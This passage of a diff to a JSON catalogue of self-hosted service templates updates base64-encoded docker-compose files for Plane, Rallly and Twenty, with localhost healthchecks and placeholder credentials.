Oi8vcGxhbmUtcmVkaXM6NjM3OS99JwogICAgICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgTUlOSU9fUk9PVF9QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICAgICAgQVdTX0FDQ0VTU19LRVlfSUQ6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgICAgIEFXU19TM19CVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgICAgQVBQX0RPTUFJTjogJyR7U0VSVklDRV9GUUROX1BMQU5FfScKICAgICAgRklMRV9TSVpFX0xJTUlUOiAnJHtGSUxFX1NJWkVfTElNSVQ6LTUyNDI4ODB9JwogICAgICBCVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgICAgU0lURV9BRERSRVNTOiAnJHtTSVRFX0FERFJFU1M6LTo4MH0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIHBsYW5lLWRiCiAgICAgIC0gcGxhbmUtcmVkaXMKICBwbGFuZS1kYjoKICAgIGltYWdlOiAncG9zdGdyZXM6MTUuNy1hbHBpbmUnCiAgICBjb21tYW5kOiAicG9zdGdyZXMgLWMgJ21heF9jb25uZWN0aW9ucz0xMDAwJyIKICAgIGVudmlyb25tZW50OgogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICB2b2x1bWVzOgogICAgICAtICdwZ2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBsYW5lLXJlZGlzOgogICAgaW1hZ2U6ICd2YWxrZXkvdmFsa2V5OjcuMi4xMS1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdyZWRpc2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwbGFuZS1tcToKICAgIGltYWdlOiAncmFiYml0bXE6My4xMy42LW1hbmFnZW1lbnQtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIFJBQkJJVE1RX0hPU1Q6IHBsYW5lLW1xCiAgICAgIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1VTRVI6ICcke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1BBU1M6ICcke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgICAgUkFCQklUTVFfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICB2b2x1bWVzOgogICAgICAtICdyYWJiaXRtcV9kYXRhOi92YXIvbGliL3JhYmJpdG1xJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdyYWJiaXRtcS1kaWFnbm9zdGljcyAtcSBwaW5nJwogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDMwcwogICAgICByZXRyaWVzOiAzCiAgcGxhbmUtbWluaW86CiAgICBpbWFnZTogJ2doY3IuaW8vY29vbGxhYnNpby9taW5pbzpSRUxFQVNFLjIwMjUtMTAtMTVUMTctMjktNTVaJwogICAgY29tbWFuZDogJ3NlcnZlciAvZXhwb3J0IC0tY29uc29sZS1hZGRyZXNzICI6OTA5MCInCiAgICBlbnZpcm9ubWVudDoKICAgICAgTUlOSU9fUk9PVF9VU0VSOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIE1JTklPX1JPT1RfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9leHBvcnQnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gbWMKICAgICAgICAtIHJlYWR5CiAgICAgICAgLSBsb2NhbAogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "tags": [ + "plane", + "project-management", + "tool", + "open", + "source", + "api", + "nextjs", + "redis", + "postgresql", + "django", + "pm" + ], + "category": "productivity", + "logo": "svgs/plane.svg", + "minversion": "0.0.0", + "port": "80" + }, "plex": { "documentation": "https://docs.linuxserver.io/images/docker-plex/?utm_source=coolify.io", "slogan": "Plex organizes video, music and photos from personal media libraries and streams them to smart TVs, streaming boxes and mobile devices.", @@ -3950,7 +3987,7 @@ "rallly": { "documentation": "https://support.rallly.co/self-hosting/introduction?utm_source=coolify.io", "slogan": "Rallly is an open-source scheduling and collaboration tool designed to make organizing events and meetings easier.", - "compose": "c2VydmljZXM6CiAgcmFsbGx5X2RiOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNC4yJwogICAgdm9sdW1lczoKICAgICAgLSAncmFsbGx5X2RiX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1yYWxsbHl9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1kICQke1BPU1RHUkVTX0RCfSAtVSAkJHtQT1NUR1JFU19VU0VSfScKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHJhbGxseToKICAgIGltYWdlOiAnbHVrZXZlbGxhL3JhbGxseTpsYXRlc3QnCiAgICBwbGF0Zm9ybTogbGludXgvYW1kNjQKICAgIGRlcGVuZHNfb246CiAgICAgIHJhbGxseV9kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1JBTExMWV8zMDAwCiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHJhbGxseV9kYjo1NDMyLyR7UE9TVEdSRVNfREI6LXJhbGxseX0nCiAgICAgIC0gJ1NFQ1JFVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfNjRfUkFMTExZfScKICAgICAgLSAnTkVYVF9QVUJMSUNfQkFTRV9VUkw9aHR0cHM6Ly8ke1NFUlZJQ0VfRlFETl9SQUxMTFl9JwogICAgICAtICdBTExPV0VEX0VNQUlMUz0ke0FMTE9XRURfRU1BSUxTfScKICAgICAgLSAnU1VQUE9SVF9FTUFJTD0ke1NVUFBPUlRfRU1BSUw6LXN1cHBvcnRAZXhhbXBsZS5jb219JwogICAgICAtICdTTVRQX0hPU1Q9JHtTTVRQX0hPU1R9JwogICAgICAtICdTTVRQX1BPUlQ9JHtTTVRQX1BPUlR9JwogICAgICAtICdTTVRQX1NFQ1VSRT0ke1NNVFBfU0VDVVJFfScKICAgICAgLSAnU01UUF9VU0VSPSR7U01UUF9VU0VSfScKICAgICAgLSAnU01UUF9QV0Q9JHtTTVRQX1BXRH0nCiAgICAgIC0gJ1NNVFBfVExTX0VOQUJMRUQ9JHtTTVRQX1RMU19FTkFCTEVEfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAiYmFzaCAtYyAnOj4gL2Rldi90Y3AvMTI3LjAuMC4xLzMwMDAnIHx8IGV4aXQgMSIKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "c2VydmljZXM6CiAgcmFsbGx5X2RiOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNC4yJwogICAgdm9sdW1lczoKICAgICAgLSAncmFsbGx5X2RiX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1yYWxsbHl9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1kICQke1BPU1RHUkVTX0RCfSAtVSAkJHtQT1NUR1JFU19VU0VSfScKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHJhbGxseToKICAgIGltYWdlOiAnbHVrZXZlbGxhL3JhbGxseTpsYXRlc3QnCiAgICBwbGF0Zm9ybTogbGludXgvYW1kNjQKICAgIGRlcGVuZHNfb246CiAgICAgIHJhbGxseV9kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1JBTExMWV8zMDAwCiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHJhbGxseV9kYjo1NDMyLyR7UE9TVEdSRVNfREI6LXJhbGxseX0nCiAgICAgIC0gJ1NFQ1JFVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfNjRfUkFMTExZfScKICAgICAgLSAnTkVYVF9QVUJMSUNfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fUkFMTExZfScKICAgICAgLSAnQUxMT1dFRF9FTUFJTFM9JHtBTExPV0VEX0VNQUlMU30nCiAgICAgIC0gJ1NVUFBPUlRfRU1BSUw9JHtTVVBQT1JUX0VNQUlMOi1zdXBwb3J0QGV4YW1wbGUuY29tfScKICAgICAgLSAnU01UUF9IT1NUPSR7U01UUF9IT1NUfScKICAgICAgLSAnU01UUF9QT1JUPSR7U01UUF9QT1JUfScKICAgICAgLSAnU01UUF9TRUNVUkU9JHtTTVRQX1NFQ1VSRTotZmFsc2V9JwogICAgICAtICdTTVRQX1VTRVI9JHtTTVRQX1VTRVJ9JwogICAgICAtICdTTVRQX1BXRD0ke1NNVFBfUFdEfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAiYmFzaCAtYyAnOj4gL2Rldi90Y3AvMTI3LjAuMC4xLzMwMDAnIHx8IGV4aXQgMSIKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "scheduling", "rallly", @@ -4729,7 +4766,7 @@ "twenty": { "documentation": "https://docs.twenty.com?utm_source=coolify.io", "slogan": "Twenty is a CRM designed to fit your unique business needs.", - "compose": "c2VydmljZXM6CiAgdHdlbnR5OgogICAgaW1hZ2U6ICd0d2VudHljcm0vdHdlbnR5OnYxLjE1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1RXRU5UWV8zMDAwCiAgICAgIC0gJ1NFUlZFUl9VUkw9JHtTRVJWSUNFX0ZRRE5fVFdFTlRZfScKICAgICAgLSAnRlJPTlRfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fVFdFTlRZfScKICAgICAgLSAnQVBQX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0XzMyX1NFQ1JFVH0nCiAgICAgIC0gRU5BQkxFX0RCX01JR1JBVElPTlM9dHJ1ZQogICAgICAtICdDQUNIRV9TVE9SQUdFX1RZUEU9JHtDQUNIRV9TVE9SQUdFX1RZUEU6LXJlZGlzfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vcmVkaXM6NjM3OScKICAgICAgLSAnQVBJX1JBVEVfTElNSVRJTkdfVFRMPSR7QVBJX1JBVEVfTElNSVRJTkdfVFRMOi0xMDB9JwogICAgICAtICdBUElfUkFURV9MSU1JVElOR19MSU1JVD0ke0FQSV9SQVRFX0xJTUlUSU5HX0xJTUlUOi0xMDB9JwogICAgICAtICdQT1NUR1JFU19BRE1JTl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQR19EQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LXR3ZW50eS1kYn0nCiAgICAgIC0gJ0lTX1NJR05fVVBfRElTQUJMRUQ9JHtJU19TSUdOX1VQX0RJU0FCTEVEOi1mYWxzZX0nCiAgICAgIC0gJ1BBU1NXT1JEX1JFU0VUX1RPS0VOX0VYUElSRVNfSU49JHtQQVNTV09SRF9SRVNFVF9UT0tFTl9FWFBJUkVTX0lOOi01bX0nCiAgICAgIC0gJ1dPUktTUEFDRV9JTkFDVElWRV9EQVlTX0JFRk9SRV9OT1RJRklDQVRJT049JHtXT1JLU1BBQ0VfSU5BQ1RJVkVfREFZU19CRUZPUkVfTk9USUZJQ0FUSU9OOi03fScKICAgICAgLSAnV09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OPSR7V09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OOi0yMX0nCiAgICAgIC0gJ1NUT1JBR0VfVFlQRT0ke1NUT1JBR0VfVFlQRTotbG9jYWx9JwogICAgICAtIFNUT1JBR0VfUzNfUkVHSU9OPSRTVE9SQUdFX1MzX1JFR0lPTgogICAgICAtIFNUT1JBR0VfUzNfTkFNRT0kU1RPUkFHRV9TM19OQU1FCiAgICAgIC0gU1RPUkFHRV9TM19FTkRQT0lOVD0kU1RPUkFHRV9TM19FTkRQT0lOVAogICAgICAtIFNUT1JBR0VfUzNfQUNDRVNTX0tFWV9JRD0kU1RPUkFHRV9TM19BQ0NFU1NfS0VZX0lECiAgICAgIC0gU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWT0kU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWQogICAgICAtICdNRVNTQUdFX1FVRVVFX1RZUEU9JHtNRVNTQUdFX1FVRVVFX1RZUEU6LXBnLWJvc3N9JwogICAgICAtIEVNQUlMX0ZST01fQUREUkVTUz0kRU1BSUxfRlJPTV9BRERSRVNTCiAgICAgIC0gRU1BSUxfRlJPTV9OQU1FPSRFTUFJTF9GUk9NX05BTUUKICAgICAgLSBFTUFJTF9TWVNURU1fQUREUkVTUz0kRU1BSUxfU1lTVEVNX0FERFJFU1MKICAgICAgLSAnRU1BSUxfRFJJVkVSPSR7RU1BSUxfRFJJVkVSOi1sb2dnZXJ9JwogICAgICAtIEVNQUlMX1NNVFBfSE9TVD0kRU1BSUxfU01UUF9IT1NUCiAgICAgIC0gRU1BSUxfU01UUF9QT1JUPSRFTUFJTF9TTVRQX1BPUlQKICAgICAgLSBFTUFJTF9TTVRQX1VTRVI9JEVNQUlMX1NNVFBfVVNFUgogICAgICAtIEVNQUlMX1NNVFBfUEFTU1dPUkQ9JEVNQUlMX1NNVFBfUEFTU1dPUkQKICAgICAgLSBTSUdOX0lOX1BSRUZJTExFRD1mYWxzZQogICAgICAtICdERUJVR19NT0RFPSR7REVCVUdfTU9ERTotZmFsc2V9JwogICAgICAtICdURUxFTUVUUllfRU5BQkxFRD0ke1RFTEVNRVRSWV9FTkFCTEVEOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICd0d2VudHktbG9jYWwtc3RvcmFnZTovYXBwL3BhY2thZ2VzL3R3ZW50eS1zZXJ2ZXIvLmxvY2FsLXN0b3JhZ2UnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9oZWFsdGh6JwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiAxMHMKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgd29ya2VyOgogICAgaW1hZ2U6ICd0d2VudHljcm0vdHdlbnR5OnYxLjE1JwogICAgY29tbWFuZDoKICAgICAgLSB5YXJuCiAgICAgIC0gJ3dvcmtlcjpwcm9kJwogICAgdm9sdW1lczoKICAgICAgLSAndHdlbnR5LWxvY2FsLXN0b3JhZ2U6L2FwcC9wYWNrYWdlcy90d2VudHktc2VydmVyLy5sb2NhbC1zdG9yYWdlJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1RXRU5UWV8zMDAwCiAgICAgIC0gJ1NFUlZFUl9VUkw9JHtTRVJWSUNFX0ZRRE5fVFdFTlRZfScKICAgICAgLSAnRlJPTlRfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fVFdFTlRZfScKICAgICAgLSAnQVBQX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0XzMyX1NFQ1JFVH0nCiAgICAgIC0gRU5BQkxFX0RCX01JR1JBVElPTlM9dHJ1ZQogICAgICAtICdDQUNIRV9TVE9SQUdFX1RZUEU9JHtDQUNIRV9TVE9SQUdFX1RZUEU6LXJlZGlzfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vcmVkaXM6NjM3OScKICAgICAgLSAnQVBJX1JBVEVfTElNSVRJTkdfVFRMPSR7QVBJX1JBVEVfTElNSVRJTkdfVFRMOi0xMDB9JwogICAgICAtICdBUElfUkFURV9MSU1JVElOR19MSU1JVD0ke0FQSV9SQVRFX0xJTUlUSU5HX0xJTUlUOi0xMDB9JwogICAgICAtICdQT1NUR1JFU19BRE1JTl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQR19EQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LXR3ZW50eS1kYn0nCiAgICAgIC0gJ0lTX1NJR05fVVBfRElTQUJMRUQ9JHtJU19TSUdOX1VQX0RJU0FCTEVEOi1mYWxzZX0nCiAgICAgIC0gJ1BBU1NXT1JEX1JFU0VUX1RPS0VOX0VYUElSRVNfSU49JHtQQVNTV09SRF9SRVNFVF9UT0tFTl9FWFBJUkVTX0lOOi01bX0nCiAgICAgIC0gJ1dPUktTUEFDRV9JTkFDVElWRV9EQVlTX0JFRk9SRV9OT1RJRklDQVRJT049JHtXT1JLU1BBQ0VfSU5BQ1RJVkVfREFZU19CRUZPUkVfTk9USUZJQ0FUSU9OOi03fScKICAgICAgLSAnV09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OPSR7V09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OOi0yMX0nCiAgICAgIC0gJ1NUT1JBR0VfVFlQRT0ke1NUT1JBR0VfVFlQRTotbG9jYWx9JwogICAgICAtIFNUT1JBR0VfUzNfUkVHSU9OPSRTVE9SQUdFX1MzX1JFR0lPTgogICAgICAtIFNUT1JBR0VfUzNfTkFNRT0kU1RPUkFHRV9TM19OQU1FCiAgICAgIC0gU1RPUkFHRV9TM19FTkRQT0lOVD0kU1RPUkFHRV9TM19FTkRQT0lOVAogICAgICAtIFNUT1JBR0VfUzNfQUNDRVNTX0tFWV9JRD0kU1RPUkFHRV9TM19BQ0NFU1NfS0VZX0lECiAgICAgIC0gU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWT0kU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWQogICAgICAtICdNRVNTQUdFX1FVRVVFX1RZUEU9JHtNRVNTQUdFX1FVRVVFX1RZUEU6LXBnLWJvc3N9JwogICAgICAtIEVNQUlMX0ZST01fQUREUkVTUz0kRU1BSUxfRlJPTV9BRERSRVNTCiAgICAgIC0gRU1BSUxfRlJPTV9OQU1FPSRFTUFJTF9GUk9NX05BTUUKICAgICAgLSBFTUFJTF9TWVNURU1fQUREUkVTUz0kRU1BSUxfU1lTVEVNX0FERFJFU1MKICAgICAgLSAnRU1BSUxfRFJJVkVSPSR7RU1BSUxfRFJJVkVSOi1sb2dnZXJ9JwogICAgICAtIEVNQUlMX1NNVFBfSE9TVD0kRU1BSUxfU01UUF9IT1NUCiAgICAgIC0gRU1BSUxfU01UUF9QT1JUPSRFTUFJTF9TTVRQX1BPUlQKICAgICAgLSBFTUFJTF9TTVRQX1VTRVI9JEVNQUlMX1NNVFBfVVNFUgogICAgICAtIEVNQUlMX1NNVFBfUEFTU1dPUkQ9JEVNQUlMX1NNVFBfUEFTU1dPUkQKICAgICAgLSBTSUdOX0lOX1BSRUZJTExFRD1mYWxzZQogICAgICAtICdERUJVR19NT0RFPSR7REVCVUdfTU9ERTotZmFsc2V9JwogICAgICAtICdURUxFTUVUUllfRU5BQkxFRD0ke1RFTEVNRVRSWV9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIC0gRElTQUJMRV9EQl9NSUdSQVRJT05TPXRydWUKICAgICAgLSBESVNBQkxFX0NST05fSk9CU19SRUdJU1RSQVRJT049dHJ1ZQogICAgZGVwZW5kc19vbjoKICAgICAgdHdlbnR5OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotdHdlbnR5LWRifScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo3LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgdHdlbnR5OgogICAgaW1hZ2U6ICd0d2VudHljcm0vdHdlbnR5OnYxLjE1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1RXRU5UWV8zMDAwCiAgICAgIC0gJ1NFUlZFUl9VUkw9JHtTRVJWSUNFX0ZRRE5fVFdFTlRZfScKICAgICAgLSAnRlJPTlRfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fVFdFTlRZfScKICAgICAgLSAnQVBQX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0XzMyX1NFQ1JFVH0nCiAgICAgIC0gRU5BQkxFX0RCX01JR1JBVElPTlM9dHJ1ZQogICAgICAtICdDQUNIRV9TVE9SQUdFX1RZUEU9JHtDQUNIRV9TVE9SQUdFX1RZUEU6LXJlZGlzfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vcmVkaXM6NjM3OScKICAgICAgLSAnQVBJX1JBVEVfTElNSVRJTkdfVFRMPSR7QVBJX1JBVEVfTElNSVRJTkdfVFRMOi0xMDB9JwogICAgICAtICdBUElfUkFURV9MSU1JVElOR19MSU1JVD0ke0FQSV9SQVRFX0xJTUlUSU5HX0xJTUlUOi0xMDB9JwogICAgICAtICdQT1NUR1JFU19BRE1JTl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQR19EQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LXR3ZW50eS1kYn0nCiAgICAgIC0gJ0lTX1NJR05fVVBfRElTQUJMRUQ9JHtJU19TSUdOX1VQX0RJU0FCTEVEOi1mYWxzZX0nCiAgICAgIC0gJ1BBU1NXT1JEX1JFU0VUX1RPS0VOX0VYUElSRVNfSU49JHtQQVNTV09SRF9SRVNFVF9UT0tFTl9FWFBJUkVTX0lOOi01bX0nCiAgICAgIC0gJ1dPUktTUEFDRV9JTkFDVElWRV9EQVlTX0JFRk9SRV9OT1RJRklDQVRJT049JHtXT1JLU1BBQ0VfSU5BQ1RJVkVfREFZU19CRUZPUkVfTk9USUZJQ0FUSU9OOi03fScKICAgICAgLSAnV09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OPSR7V09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OOi0yMX0nCiAgICAgIC0gJ1NUT1JBR0VfVFlQRT0ke1NUT1JBR0VfVFlQRTotbG9jYWx9JwogICAgICAtIFNUT1JBR0VfUzNfUkVHSU9OPSRTVE9SQUdFX1MzX1JFR0lPTgogICAgICAtIFNUT1JBR0VfUzNfTkFNRT0kU1RPUkFHRV9TM19OQU1FCiAgICAgIC0gU1RPUkFHRV9TM19FTkRQT0lOVD0kU1RPUkFHRV9TM19FTkRQT0lOVAogICAgICAtIFNUT1JBR0VfUzNfQUNDRVNTX0tFWV9JRD0kU1RPUkFHRV9TM19BQ0NFU1NfS0VZX0lECiAgICAgIC0gU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWT0kU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWQogICAgICAtICdNRVNTQUdFX1FVRVVFX1RZUEU9JHtNRVNTQUdFX1FVRVVFX1RZUEU6LXBnLWJvc3N9JwogICAgICAtIEVNQUlMX0ZST01fQUREUkVTUz0kRU1BSUxfRlJPTV9BRERSRVNTCiAgICAgIC0gRU